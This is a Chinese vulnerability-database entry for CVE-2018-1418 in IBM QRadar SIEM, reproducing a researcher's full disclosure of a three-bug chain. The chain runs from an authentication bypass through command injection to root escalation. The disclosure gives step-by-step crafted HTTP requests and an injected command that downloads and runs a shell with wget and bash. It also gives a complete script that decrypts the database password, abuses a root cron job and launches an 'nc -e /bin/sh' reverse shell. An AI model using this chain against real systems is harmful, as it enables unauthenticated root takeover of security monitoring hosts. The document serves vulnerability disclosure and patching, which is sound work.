发布时间 :2018-04-26 10:29:00
修订时间 :2018-05-24 11:49:51

[原文]IBM Security QRadar SIEM 7.2 and 7.3 could allow a user to bypass authentication which could lead to code execution. IBM X-Force ID: 138824.



- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-287 [认证机制不恰当]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD

- 其它链接及资源
(VENDOR_ADVISORY)  XF  ibm-qrdar-cve20181418-priv-escalation(138824)

- 漏洞信息 (F147981)

IBM QRadar SIEM Code Execution / Authentication Bypass (PacketStormID:F147981)
2018-05-29 00:00:00
Pedro Ribeiro  
exploit,vulnerability,code execution

IBM QRadar SIEM versions prior to 7.3.1 Patch 3 or 7.2.8 Patch 28 suffer from authentication bypass, code execution, and privilege escalation vulnerabilities.

Hi all,

3 vulns in IBM QRadar SIEM that when chained allow an attacker to
achieve unauthenticated RCE as root on the QRadar host.

IBM have only attributed on CVE for all 3 vulns, and they have a
combined CVSS score of 5.6.

So totally own a SIEM = 5.6 CVSS. Sounds right to me.

A special thanks to Beyond Security's SSD programme, which helped me
disclose these 3 vulnerabilities. See their advisory at:

Also available in my repo:

A Metasploit module has been released, and it is pending approval:



>> Multiple vulnerabilities in IBM QRadar SIEM
>> Discovered by Pedro Ribeiro (, Agile Information
Security (
Disclosure: 28/05/2018 / Last updated: 25/08/2018

>> Introduction:
From IBM's website [1]:
"IBMA(r) QRadarA(r) SIEM detects anomalies, uncovers advanced threats and
removes false positives. It consolidates log events and network flow
data from thousands of devices, endpoints and applications distributed
throughout a network. It then uses an advanced Sense Analytics engine to
normalize and correlate this data and identifies security offenses
requiring investigation. As an option, it can incorporate IBM X-ForceA(r)
Threat Intelligence which supplies a list of potentially malicious IP
addresses including malware hosts, spam sources and other threats.
QRadar SIEM is available on premises and in a cloud environment."

>> Background and summary:
QRadar has a built-in server side application to perform forensic
analysis on certain files.
The vulnerabilities described below show how two logical bugs in the
forensics application can be abused to bypass authentication, write a
file to disk and execute it as an unpriviliged user. This file can then
abuse a vulnerability in the way cron jobs are handled to cause a shell
script to be executed as root. In summary, the full exploit chain allows
an unauthenticated attacker to achieve remote code execution as root
with a couple of HTTP requests.

The forensics application is disabled in the free Community Edition, but
the code is still there, and part of it still works. This application
has two components, one servlet running in Java, and the main web
application running PHP.
QRadar has an Apache reverse proxy sitting in front of all its web
applications, which routes requests according to the URL. Requests sent
to /console/* get routed to the main "console" application, which not
only runs the web interface but also performs the main functions of
QRadar (and is not affected by these vulnerabilities).
Then there are several helper applications, such as the forensics
application described above, which can be reached at /forensics and
/ForensicAnalysisServlet, the SOLR server, reachable at /solr and others.

Special thanks to SecuriTeam for helping me disclose this vulnerability.
Please see their advisory at [2] and IBM's response at [3].
Note that IBM have attributed a combined CVE for all three
vulnerabilities, CVE-2018-1418. They have also scored these three
vulnerabilities as CVSS 5.6...
A Metasploit module that exploits these vulnerabilities to achieve
unauthenticated remote code execution as root has been released in [4].

>> Technical details:
Vulnerability: Authentication Bypass (in ForensicAnalysisServlet)
Attack Vector: Remote
Constraints: None
Affected products / versions:
- IBM QRadar SIEM: 7.3.0 and 7.3.1 confirmed; possibly all versions
released since mid-2014 are affected

QRadar authentication is done via a SEC cookie, which is a session UUID.
This is managed centrally by a session manager which runs in the main
QRadar console application. The SEC cookies can be obtained in three ways:
- Upon login in the main console application
- Using a previously created authorisation token (also created in the
- From the /etc/qradar/conf/host.token file, which contains a UUID
generated at install time, used by internal services to perform
administrative actions.

The ForensicAnalysisServlet stores the SEC cookie in a HashMap, and then
checks if the cookie is valid with the console application before
committing any action... except for one specific codepath.

The function doGetOrPost() processes all requests to
ForensicsAnalysisServlet. This function does a number of actions, such
as fetching a results file, checking the status of an analysis request, etc.
In order to authenticate, the requester has to have its SEC and
QRadarCSRF tokens registered with the servlet. This is done by
application with the setSecurityTokens action, with which a requester
specifies both tokens and registers them with the servlet.
In order to perform authentication for the setSecurityTokens action, the
servlet checks if the host.token SEC cookie was sent with the request.

However, if the forensicsManagedHostIps parameter is sent with the
setSecurityTokens action, doGetOrPost() will pass on the request to
doPassThrough() before authenticating it:

protected void doGetOrPost(HttpServletRequest request,
HttpServletResponse response) throws InterruptedException, IOException,
ServletException, SolrServerException {
		String SEC = "";
		String QRadarCSRF = "";
		Cookie[] requestCookies = request.getCookies();
		if(requestCookies != null) {
			Cookie[] var6 = requestCookies;
			int var7 = requestCookies.length;

			for(int var8 = 0; var8 < var7; ++var8) {
				Cookie cookie = var6[var8];
				if(cookie.getName().equals("SEC")) {
					SEC = cookie.getValue();

				if(cookie.getName().equals("QRadarCSRF")) {
					QRadarCSRF = cookie.getValue();

		if(!SEC.isEmpty() && !QRadarCSRF.isEmpty()) {							<----- checks if
the cookies exist, but doesn't validate their values
			String actionParameterValue = "" + request.getParameter("action");
			actionParameterValue = actionParameterValue.trim();
			if(!actionParameterValue.equals("null") &&
!actionParameterValue.isEmpty()) {
				String solrDocIdsString = "";
				String responseHash;
				if(!actionParameterValue.equals("setSecurityTokens")) {				<----- if
the parameter is setSecurityTokens, doesn't validate the cookies
					if(!this.SECCookiesMap.containsKey(SEC) ||
!this.QRadarCSRFCookiesMap.containsKey(QRadarCSRF)) {
						logger.error("No valid forensics analysis SEC or QRadarCSRF
cookie(s) found.");

					solrDocIdsString = "" + request.getParameter("solrDocIds");
					if(solrDocIdsString.equals("null") ||
solrDocIdsString.trim().isEmpty()) {
						BufferedReader bufferedReader = request.getReader();
						solrDocIdsString = "";

						for(responseHash = ""; (responseHash = bufferedReader.readLine())
!= null; solrDocIdsString = solrDocIdsString + responseHash) {


				String forensicsManagedHostIps = "" +
				if(!forensicsManagedHostIps.equals("null")) {
					forensicsManagedHostIps = forensicsManagedHostIps.trim();
					if(forensicsManagedHostIps.isEmpty()) {
						throw new ServletException("No valid forensics analysis
forensicsManagedHostIps parameter found.");

					responseHash = InetAddress.getLocalHost().getHostAddress();
					forensicsManagedHostIps =
forensicsManagedHostIps.replaceAll(responseHash, "");
					if(!forensicsManagedHostIps.isEmpty()) {
						this.doPassThrough(request, response, forensicsManagedHostIps,
solrDocIdsString, actionParameterValue);		<----- if the
forensicsManagedHostIps parameter is set, call doPassThrough

doPassThrough() also validates if the request contains a valid SEC
cookie... at some point. The problem is that if we send the
setSecurityTokens action, in the beginning of the function the SEC and
QRadarCSRF values are added to the servlet HashMap of valid tokens...
before being validated:

private void doPassThrough(HttpServletRequest request,
HttpServletResponse response, String forensicsManagedHostIps, String
solrDocIdsString, String actionParameterValue) throws IOException,
ServletException {
  String method = request.getMethod().toUpperCase();
  String securityTokensString = "";
  String[] securityTokens = null;
  RequestBuilder requestBuilder = RequestBuilder.create(method);
  String QRadarCSRF;
  if(!method.equals("GET")) {
    if(!actionParameterValue.equals("setSecurityTokens")) {
      requestBuilder.setEntity(new StringEntity(solrDocIdsString, "UTF-8"));
    } else {
      BufferedReader bufferedReader = request.getReader();

      for(QRadarCSRF = ""; (QRadarCSRF = bufferedReader.readLine()) !=
null; securityTokensString = securityTokensString + QRadarCSRF) {

      securityTokens = securityTokensString.split(",");
      this.SECCookiesMap.put(securityTokens[2], Long.valueOf((new
Date()).getTime()));					<---- POST values are added here if the
setSecurityTokens parameter is set
      this.QRadarCSRFCookiesMap.put(securityTokens[3], Long.valueOf((new

Following the code snippets above, it is clear that an unauthenticated
user can insert arbitrary SEC and QRadarCSRF values into the servlet
cookie HashMaps.

To show this in action, let's try to do a request to the servlet, and we
get a 403 error:

GET /ForensicsAnalysisServlet/?action=someaction HTTP/1.1
Cookie: SEC=owned; QRadarCSRF=superowned;

HTTP/1.1 403 Forbidden

Now we send our request to add the SEC and QRadarCSRF values to the
valid token lists:
By sending the following request, the values "owned" and "superowned"
are added to the valid SEC and QRadarCSRF tokens:

Cookie: SEC=owned; QRadarCSRF=superowned;
Content-Type: application/json
Content-Length: 44


To which the server will respond:
HTTP/1.1 200 OK
{"exceptionMessageValue":"javax.servlet.ServletException: No valid
forensics analysis host token data found."}

And now our cookies have been added to the SECCookiesMap and
QradarCSRFCookiesMap, so we can invoke all actions (even the ones that
required authenticated cookies) in ForensicsAnalysisServlet.

So let's try to repeat the initial request, for which we got a 403:
GET /ForensicsAnalysisServlet/?action=someaction HTTP/1.1
Cookie: SEC=owned; QRadarCSRF=superowned;

HTTP/1.1 200 OK
{"exceptionMessageValue":"javax.servlet.ServletException: No valid
forensics analysis solrDocIds parameter found."}

Success! We've bypassed authentication.

Vulnerability: Command Injection (in PHP web application)
Attack Vector: Remote
Constraints: Authentication needed (can be bypassed with vulnerability #1)
Affected products / versions:
- IBM QRadar SIEM: 7.3.0 and 7.3.1 confirmed; possibly all versions
released since mid-2014 are affected

The second vulnerability in this exploit chain is in the PHP part of the
forensics web application.
Using vulnerability #1 to add our SEC and QRadarCSRF cookies to the
ForensicAnalysisServlet HashMaps means that we can invoke any function
in the Java part of the application, but the PHP part uses a separate
authentication scheme which doesn't have a similar flaw.
However, it accepts any requests coming from localhost without needing
authentication. Authentication is done in the PHP part by including the
DejaVu/qradar_helper.php file, which invokes the LoginCurrentUser function:

1046     public function LoginCurrentUser ($remember, &$errorInfo)
1047     {
1048                 //if local server request don't need to login the user
1049         if($_SERVER['REMOTE_ADDR'] == $_SERVER['SERVER_ADDR'])
1050         {
1051                 return true;
1052         }

Note that not having authentication for local requests is not
necessarily a vulnerability, although it is a bad practice as it can
lead to situations like we are going to describe.

So how can we make requests seem like they come from localhost?
Something as simple as changing the Host HTTP header will not work.
Luckily, we can leverage ForensicAnalysisServlet doPassThrough() again.
After the snippet shown in vulnerability #1, the function goes on to
forward the request to the host address(es) entered in the
forensicsManagedHostIps parameter:

    private void doPassThrough(HttpServletRequest request,
HttpServletResponse response, String forensicsManagedHostIps, String
solrDocIdsString, String actionParameterValue) throws IOException,
ServletException {
        if(!SEC.isEmpty() && !QRadarCSRF.isEmpty()) {
            if(this.SECCookiesMap.containsKey(SEC) &&
this.QRadarCSRFCookiesMap.containsKey(QRadarCSRF)) {
                Map<String, String[]> parameterMap =
                Iterator var42 = parameterMap.keySet().iterator();

                while(var42.hasNext()) {
                    String parameterName = (String);
{                <----- gets all parameters except
forensicsManagedHostIps and adds them to the request

                requestBuilder.addHeader("Cookie", "SEC=" + SEC + "; " +
"QRadarCSRF" + "=" + QRadarCSRF);
                timeout = this.connectionTimeout;
                Builder requestConfigBuilder = RequestConfig.custom();
                requestConfigBuilder =
                requestConfigBuilder =
                requestConfigBuilder =

                HttpClient httpClient =;
                int status = 0;
                String[] forensicsManagedHostIpsArray =
forensicsManagedHostIps.split(",");        <--- parses
forensicsManagedHostIps string
                String fileName = "" + request.getParameter("fileName");
                String requestResponseHash = "" +

                    forensicsManagedHostIpsArray = new
                } else if(!actionParameterValue.matches("do.*Analysis")) {

                        forensicsManagedHostIpsArray = new
                    } else if(actionParameterValue.equals("GetFile") &&
this.forensicsDocForensicsManagedHostIpMap.containsKey(fileName)) {
                        forensicsManagedHostIpsArray = new

                String[] var21 = forensicsManagedHostIpsArray;
                int var22 = forensicsManagedHostIpsArray.length;

                for(int var23 = 0; var23 < var22; ++var23) {
                    String forensicsManagedHostIp = var21[var23];
                    if(!forensicsManagedHostIp.isEmpty()) {
           <---- for each host address in forensicsManagedHostIps, sends
one request
                        requestBuilder.setUri("https://" +
forensicsManagedHostIp + "/ForensicsAnalysisServlet/");
                        String[] forensicsManagedHostSecurityTokens;
                        HttpUriRequest httpUriRequest =;
                        forensicsManagedHostSecurityTokens = null;

                        HttpResponse httpResponse;
                        try {
                            httpResponse =

It is clear from the code that if we send in the
forensicsManagedHostIps parameter, we can make ForensicAnalysisServlet
forward our request to the PHP web application and bypass authentication.
So now how to exploit this? In the PHP we application, we have file.php,
which has a "get" functionality that allows an authenticated user to
fetch certain files off the filesystem. file.php forwards the request to
DejaVu/FileActions.php, which does some checks to ensure that the file
is in a restricted set of directories:

 42     public static function Get()
 43     {
 45                 $pcapArray = array_key_exists ( 'pcap', $_REQUEST )
? $_REQUEST ['pcap'] : '';
 46                 $acceptablePaths =
 47         $docid = array_key_exists('docid', $_GET) ? $_GET['docid'] : '';
 48         $guitype = array_key_exists('gui', $_GET) ?
htmlspecialchars($_GET['gui'], ENT_QUOTES) : 'standard';
 49         $path = array_key_exists('path', $_GET) ? $_GET['path'] : '';
 50         if (!empty($path))
 51         {
 52                 $path = urldecode($path);
 53                 $path = FileActions::validate_path($path,
 54                 if(empty($path))
 55                 {
QRadarLogger::logQradarError("FileActions.Get(): operation failed");
 57                         return;
 58                 }
 59         }
 98         if (!empty($docid)) {
 99             $doc = IndexQuery::GetDocument($docid, $guitype);
100             if ($doc) {
101                 $savedFile = new SavedFile($doc);
102                 if ($savedFile->hasFile()) {
103                     if ($savedFile->isLocal())
104                         $savedFile->sendFile($guitype);
105                     else
106                         $savedFile->doProxy();
107                 } else
108                     send404();
109             } else
110                 send404();
112         } else if (!empty($path)) {
113             if (file_exists($path)) {
114                 if (!SavedFile::VetFile($path, $guitype))
115                     return;
116                 readfile($path);
117             } else
118                 send404();

The codepath that we are interested to hit is the pcapArray if, shown
below. If we send a PHP array with several pcap parameters, the web
application will ZIP these files before sending:
121         } else if (is_array($pcapArray)) {
122             $hostname = array_key_exists('hostname', $_REQUEST) ?
$_REQUEST['hostname'] : $_SERVER['SERVER_ADDR'];
123             if (count($pcapArray) > 1) {
124                 $basename = uniqid() . ".zip";
125                 $zip_filename = $TEMP_DIR . "/" . $basename;
126             } else {
127                 $zip_filename = $pcapArray[0]['pcap'];
128                 $basename = basename($zip_filename);
130             }
150             for($i = 0, $j = count($pcapArray); $i < $j ; $i++) {
151                 $pcapFileList[] = $pcapArray[$i]['pcap'];
152             }
154             if (count($pcapArray) > 1) {
155                 // More than one pcap, so zip up the files and send
the zip
156                 $fileList = implode(' ', $pcapFileList);
157                 //error_log("filename >> ".$filename);
158                 //error_log( print_r($fileList,TRUE) );

Which clearly leads to a command injection right here, using the pcap
159                 $cmd = "/usr/bin/zip -qj $zip_filename $fileList 2>&1";
160                 //error_log("\$cmd =".$cmd);
162                 $result = exec($cmd, $cmd_output, $cmd_retval);

Bingo! It allows us to execute code as the httpd web server user, which
is the unprivileged "nobody" user, at least in a CentOS / RHEL installation.
For example, to download and execute a shell from, we can
send the following GET request, provided we have used vulnerability #1
to create valid SEC and QRadarCSRF cookies:

-p /store/configservices/staging/updates && wget -O
/store/configservices/staging/updates/runme && /bin/bash
/store/configservices/staging/updates/runme)& HTTP/1.1
Cookie: SEC=owned; QRadarCSRF=superowned;

This will take a few seconds to process, but eventually our shell gets
downloaded, executed, and we get the following response:
HTTP/1.1 200 OK
{"exceptionMessageValue":"javax.servlet.ServletException: No valid
forensics analysis forensicsManagedHostIps parameter found."}

The pcap[1][pcap] parameter is shown unencoded to facilitate reading,
but the actual exploit should have this parameter fully URL encoded. As
you can see, we can use the forensicsManagedHostIps not only to pick the
host address but also to inject the URL path that will be used.

Care needs to be taken when choosing a directory to download the file
to. The "nobody" user cannot write to /tmp, but a good choice is
/store/configservices/*, which is used for various tasks, and is
writeable by "nobody". The /store/configservices/staging/updates/ was
chosen (and created) because it plays a central role in our upcoming
root privilege escalation exploit.

Vulnerability: Privilege Escalation (via database and cron job -
"nobody" user to root)
Attack Vector: Local
Constraints: "nobody" user shell needed (can be obtained with
vulnerability #2)
Affected products / versions:
- IBM QRadar SIEM: 7.3.0 and 7.3.1 confirmed; possibly all versions
released since mid-2014 are affected

The final step to totally owning QRadar is to escalate privileges from
our limited "nobody" user to root.
For this we can leverage the following cron job, which runs as root
every minute:
# Check if autoupdate should be run
* * * * * /opt/qradar/bin/  > /dev/null 2>&1

The code is convoluted, so it won't be shown here for brevity. However,
this Perl script invokes checkRpm(), which then calls checkRpmStatus().
The latter will fetch the autoupdate_patch database table and check if
there are any entries left to process. If the file entry name ends with
.rpm, it will invoke processRpm(), which installs it, otherwise it will
invoke installMinor(), which will run "sh +x" on the file entry. These
file entries are expected to be in the "update_download_dir" directory,
which can be fetched with psql -U qradar -c "select value from
autoupdate_conf where key = 'update_download_dir'", but it is
/store/configservices/staging/updates/ by default. As explained in
vulnerability #2, /store/configservices/* is writeable by "nobody", so
we can dump any files we want there, create directories, etc.

Luckily, the "nobody" user can access the database - after all, the Java
and PHP server processes need to access it, and they run as "nobody".
Because the /tmp directory cannot be accessed by the "nobody" user, we
cannot rely on password-less local socket connection to the database; so
we have to use TCP/IP, which means we need the database password. The
password is in /opt/qradar/conf/config_user.xml (readable by "nobody")
and it is stored encrypted, but can be decrypted using the code of a
built-in shell script.

So once we have the database password, all we need to do is to add an
entry to that table to a script we control (for example
/store/configservices/staging/updates/, and within one minute
it will be run as root:
PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c
"insert into autoupdate_patch values

The exploit script that does this privilege escalation and returns a
root reverse shell to is shown below. This file can be
written using a combination of vulnerabilities #1 and #2 to complete the
full exploit chain, allowing an unauthenticated user to achieve root
code execution remotely:


# our reverse shell that will be executed as root
cat <<EOF > /store/configservices/staging/updates/superowned
nc -e /bin/sh 4445

### below is adapted from /opt/qradar/support/
[ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf"
NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2`

# get the encrypted db password from the config
WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\w\=]*)(?=<)'`

QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')

P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)
P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)

#if 7.2.8 or greater, use new method for hashing and salting passwords
if [ $QVERSION -gt 727 ]
    PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo
			[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" &&
exit 255
		AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`

    PASSWORD=`/opt/qradar/bin/ -Daes.key=$AESKEY
com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`
		[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" &&
exit 255

PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c
"insert into autoupdate_patch values

# delete ourselves
(sleep 2 && rm -- "$0") &

>> Fix:
See [3] for IBM's advisory.
Upgrade to QRadar versions 7.3.1 Patch 3 or 7.2.8 Patch 28.

>> References:

Agile Information Security Limited
>> Enabling secure digital business >>
Pedro Ribeiro
Vulnerability and Reverse Engineer / Cyber Security Specialist
PGP: 17EE 7884 06C9 DCA3 76A6 99E9 BC04 BAD1 DDF2 A2CE